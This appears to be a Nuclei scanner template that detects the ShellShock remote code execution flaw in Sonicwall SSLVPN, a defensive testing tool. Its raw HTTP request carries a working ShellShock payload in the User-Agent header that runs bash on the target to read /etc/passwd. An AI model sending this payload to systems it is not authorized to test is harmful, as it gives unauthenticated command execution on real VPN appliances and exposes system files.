id: sonicwall-sslvpn-shellshock

info:
  name: Sonicwall SSLVPN - Remote Code Execution (ShellShock)
  author: PR3R00T
  severity: critical
  description: |
    Sonicwall SSLVPN contains a 'ShellShock' vulnerability which allows remote unauthenticated attackers to execute arbitrary commands.
  reference:
    - https://twitter.com/chybeta/status/1353974652540882944
    - https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: shellshock,sonicwall,rce,vpn

http:
  - raw:
      - |
        GET /cgi-bin/jarrewrite.sh HTTP/1.1
        Host: {{Hostname}}
        User-Agent: "() { :; }; echo ; /bin/bash -c 'cat /etc/passwd'"
        Accept: */*

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a00463044022068a6e1fc07be39f09eeaf3f21a2d7c34aa20a919c811cc7d7d76243693ce0df70220150f5b38dfd0a9943963de174b15a7da721250340deb739f2883de83694f31a8:922c64590222798bb761d5b6d8e72950